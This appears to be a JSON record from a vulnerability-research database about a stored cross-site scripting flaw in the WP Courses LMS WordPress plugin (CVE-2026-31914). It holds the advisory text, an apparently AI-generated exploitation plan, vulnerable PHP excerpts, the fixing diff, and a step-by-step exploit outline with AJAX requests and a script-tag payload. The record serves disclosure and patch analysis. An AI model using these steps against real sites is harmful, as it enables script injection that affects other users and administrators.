[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fklcj18HnAwqHA2STbi437YrgMfOyR4-31-_KdTTucgg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-31914","wp-courses-lms-online-courses-builder-elearning-courses-courses-solution-education-courses-authenticated-subscriber-stor","WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses \u003C= 3.2.26 - Authenticated (Subscriber+) Stored Cross-Site Scripting","The WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.2.26 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wp-courses",null,"\u003C=3.2.26","3.2.27","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-23 00:00:00","2026-03-26 20:26:40",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fbca16579-d852-4c68-932e-44b69a01b8ce?source=api-prod",4,[22,23,24],"README.md","classes\u002FWPCQ_Ajax.php","wp-courses.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-31914 - WP Courses LMS Stored XSS\n\n## 1. Vulnerability Summary\nThe **WP Courses LMS** plugin (\u003C= 3.2.26) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the AJAX handler responsible for saving quiz results. The vulnerability exists because the plugin accepts arbitrary quiz data from the user, stores it in the database using `json_encode`, and later retrieves and echoes it back without any sanitization or output escaping in the `getResult` method. An authenticated attacker (subscriber or higher) can inject malicious JavaScript into the quiz results, which will execute when they or an administrator view the result.\n\n## 2. Attack Vector Analysis\n- **Vulnerable AJAX Actions:** \n    - `wpcq_save_quiz_results_action` (Storage)\n    - `wpcq_get_quiz_result` (Sink\u002FExecution)\n- **Vulnerable Parameters:** `quiz` (in `saveResult`), `resultID` (to trigger execution in `getResult`).\n- **Authentication Level:** Subscriber or higher.\n- **Preconditions:** The plugin must be active, and a Course and Quiz\u002FLesson must exist to facilitate legitimate-looking requests and ensure scripts (and nonces) are enqueued.\n\n## 3. Code Flow\n1. **Entry Point (Storage):** `WPCQ_Ajax::saveResult()` (attached to `wp_ajax_wpcq_save_quiz_results_action`).\n2. **Data Handling:** \n    - It retrieves `$_POST['quiz']` (expected to be an array or object).\n    - It calls `$this->quiz = json_encode($_POST['quiz']);`.\n    - **Sink:** It performs an insert: `$wpdb->insert($table_name, array(..., 'quiz_result' => $this->quiz, ...))`.\n3. **Entry Point (Execution):** `WPCQ_Ajax::getResult()` (attached to `wp_ajax_wpcq_get_quiz_result`).\n4. **Data Retrieval:** It retrieves the record by `resultID`.\n5. **Vulnerable Sink:** \n    ```php\n    if(!empty($results)) {\n        echo str_replace('\\\\\\\\', '', $results[0]->quiz_result);\n    }\n    ```\n    The JSON string is echoed directly to the response. Since `json_encode` does not escape HTML tags by default, any `\u003Cscript>` tags provided in the `quiz` array remain intact.\n\n## 4. Nonce Acquisition Strategy\nThe `wpc_nonce` is required for both AJAX actions. It is localized for the frontend in pages where the plugin's lesson or quiz functionality is active.\n\n1. **Identify Script Loading:** The plugin enqueues its primary scripts on the Course archive or individual Lesson\u002FQuiz pages.\n2. **Creation:** Create a Course and a Lesson to ensure the environment is ready.\n3. **Navigation:** Navigate to a Course page as a Subscriber.\n4. **Extraction:** Use `browser_eval` to extract the nonce from the localized JavaScript object. Based on common plugin patterns, the variable is likely `wpc_vars` or `wpc_ajax_data`.\n    - **JS Command:** `window.wpc_vars?.nonce` or `window.wpc_ajax_data?.nonce`.\n    - **Note:** The `security` parameter in the POST request must contain this nonce.\n\n## 5. Exploitation Strategy\n### Step 1: Storage (Injecting the Payload)\nPerform an AJAX POST to save a \"quiz result\" containing the XSS payload.\n\n- **Action:** `wpcq_save_quiz_results_action`\n- **Method:** POST\n- **URL:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (URL-encoded):**\n    - `action=wpcq_save_quiz_results_action`\n    - `security=[NONCE]`\n    - `userID=[SUBSCRIBER_ID]`\n    - `quizID=1` (Can be any integer)\n    - `courseID=1` (Can be any integer)\n    - `scorePercent=100`\n    - `quiz[question]=\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n- **Expected Response:** Empty response (200 OK) as the function ends with `wp_die()`.\n\n### Step 2: Identification (Find the Result ID)\nSince the AJAX response doesn't return the ID, query the database for the most recent entry in the results table.\n- **SQL:** `SELECT MAX(id) FROM wp_wpc_quiz_results;`\n\n### Step 3: Execution (Triggering the XSS)\nPerform an AJAX POST to retrieve the malicious result.\n\n- **Action:** `wpcq_get_quiz_result`\n- **Method:** POST\n- **URL:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (URL-encoded):**\n    - `action=wpcq_get_quiz_result`\n    - `security=[NONCE]`\n    - `resultID=[ID_FROM_STEP_2]`\n- **Expected Response:** The raw JSON string containing the payload: `{\"question\":\"\u003Cscript>alert(document.domain)\u003C\\\u002Fscript>\"}`.\n\n## 6. Test Data Setup\n1. **User:** Create a subscriber user (e.g., `subscriber_user` \u002F `password`).\n2. **Content:** \n    - Create a Course: `wp post create --post_type=course --post_title=\"Test Course\" --post_status=publish`\n    - Create a Lesson: `wp post create --post_type=lesson --post_title=\"Test Lesson\" --post_status=publish`\n    - (Optional) Use `wp post meta` to link them if needed, though the AJAX handlers don't strictly enforce relational integrity for the `saveResult` action.\n\n## 7. Expected Results\n- The `saveResult` call should successfully insert a JSON string into the `wp_wpc_quiz_results` table.\n- The `getResult` call should return the stored JSON string.\n- Because the response content type of `admin-ajax.php` is often `text\u002Fhtml` by default (unless specifically set otherwise by the plugin, which it isn't here), the browser will execute the script if this response is rendered in a DOM element or viewed directly.\n\n## 8. Verification Steps\n1. **Database Check:** \n   `wp db query \"SELECT quiz_result FROM wp_wpc_quiz_results ORDER BY id DESC LIMIT 1;\"`\n   Confirm the output contains the raw script tag.\n2. **HTTP Response Check:** Verify the `http_request` response for `wpcq_get_quiz_result` contains `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n\n## 9. Alternative Approaches\nIf `wpcq_save_quiz_results_action` is restrictive, target **`wpcq_save_quiz_action`**:\n- **Action:** `wpcq_save_quiz_action`\n- **Parameters:** `quizID`, `quiz` (The payload).\n- **Code Path:** `update_post_meta((int)$this->quiz_id, 'wpc-quiz-data', $this->quiz);`\n- **Sink:** `getQuiz()` retrieves this meta and echoes it via `json_encode`. This is a higher-impact attack as it modifies the quiz content for all users.\n- **Nonce:** Also uses `wpc_nonce`.","The WP Courses LMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX handlers for saving quiz results and quiz data. Authenticated attackers with subscriber-level access can inject malicious JavaScript into quiz fields, which is then stored unsanitized and executed when the quiz result is retrieved or the quiz is viewed by other users.","\u002F\u002F classes\u002FWPCQ_Ajax.php line 41\nfunction saveResult() {\n\tcheck_ajax_referer( 'wpc_nonce', 'security' );\n\tglobal $wpdb;\n\t$this->user_id = (int) $_POST['userID'];\n\t$this->quiz_id = (int) $_POST['quizID'];\n\t$this->score = (int) $_POST['scorePercent'];\n\t$this->quiz = json_encode($_POST['quiz']);\n\t$this->course_id = (int) $_POST['courseID'];\n\n\twpc_push_completed($this->user_id, $this->quiz_id, 1);\n\t\t\n\t$table_name = $wpdb->prefix . 'wpc_quiz_results';\n\t\n\t$wpdb->insert( \n\t\t$table_name, \n\t\tarray( \n\t\t\t'time' \t\t\t=> current_time( 'mysql' ), \n\t\t\t'user_ID' \t\t=> $this->user_id,\n\t\t\t'quiz_ID' \t\t=> $this->quiz_id,\n\t\t\t'quiz_result' \t=> $this->quiz,\n\t\t\t'score_percent' => $this->score,\n\t\t\t'course_id'\t\t=> $this->course_id\n\t\t), array('%s', '%d', '%d', '%s', '%d', '%d')\n\t);\n\n\twp_die();\n}\n\n---\n\n\u002F\u002F classes\u002FWPCQ_Ajax.php line 66\nfunction saveQuiz() {\n\tcheck_ajax_referer( 'wpc_nonce', 'security' );\n\t$this->quiz_id = (int) $_POST['quizID'];\n\t$this->quiz = $_POST['quiz'];\n\tupdate_post_meta( (int) $this->quiz_id, 'wpc-quiz-data', $this->quiz);\n\twp_die();\n}\n\n---\n\n\u002F\u002F classes\u002FWPCQ_Ajax.php line 84\nif(!empty($results)) {\n\techo str_replace('\\\\\\\\', '', $results[0]->quiz_result);\n} else {\n\techo false;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-courses\u002F3.2.26\u002Fclasses\u002FWPCQ_Ajax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-courses\u002F3.2.27\u002Fclasses\u002FWPCQ_Ajax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-courses\u002F3.2.26\u002Fclasses\u002FWPCQ_Ajax.php\t2025-12-05 06:08:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-courses\u002F3.2.27\u002Fclasses\u002FWPCQ_Ajax.php\t2026-02-13 10:29:46.000000000 +0000\n@@ -65,12 +65,23 @@\n \n \tfunction saveQuiz() {\n \t\tcheck_ajax_referer( 'wpc_nonce', 'security' );\n+\t\tif ( ! current_user_can( 'edit_posts' ) ) {\n+\t\t\twp_send_json_error( 'Not authorized', 403 );\n+\t\t}\n \t\t$this->quiz_id = (int) $_POST['quizID'];\n-\t\t$this->quiz = $_POST['quiz'];\n+\t\t$this->quiz = $this->sanitize_recursive( $_POST['quiz'] );\n \t\tupdate_post_meta( (int) $this->quiz_id, 'wpc-quiz-data', $this->quiz);\n \t\twp_die();\n \t}\n \n+\tprivate function sanitize_recursive( $data ) {\n+\t\tif ( is_array( $data ) ) {\n+\t\t\treturn array_map( array( $this, 'sanitize_recursive' ), $data );\n+\t\t}\n+\n+\t\treturn sanitize_text_field( $data );\n+\t}\n+\n \tfunction getResult() {\n \t\tcheck_ajax_referer( 'wpc_nonce', 'security' );\n \t\t$this->result_id = (int) $_POST['resultID'];","1. Authenticate to the WordPress site as a Subscriber-level user.\n2. Visit a course or lesson page to obtain a valid `wpc_nonce` from the localized JavaScript (usually stored in `wpc_vars` or similar objects).\n3. Send an AJAX POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the action `wpcq_save_quiz_results_action`. In the `quiz` parameter, provide a payload containing malicious JavaScript, such as `quiz[question]=\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n4. To trigger the execution, identify the result ID (e.g., via database query or incrementing IDs) and send a second AJAX POST request to `wpcq_get_quiz_result` with that `resultID`. \n5. The server will return the raw JSON containing the script. When this response is handled by the browser (if the content type is not strictly JSON or if the response is rendered into the DOM), the injected script will execute.\n6. Alternatively, use the `wpcq_save_quiz_action` with the same nonce and a malicious `quiz` payload to permanently modify a quiz, which will then execute scripts for any user attempting that quiz.","gemini-3-flash-preview","2026-04-17 23:37:59","2026-04-17 23:38:41",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","3.2.26","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-courses\u002Ftags\u002F3.2.26","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-courses.3.2.26.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-courses\u002Ftags\u002F3.2.27","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-courses.3.2.27.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-courses\u002Ftags"]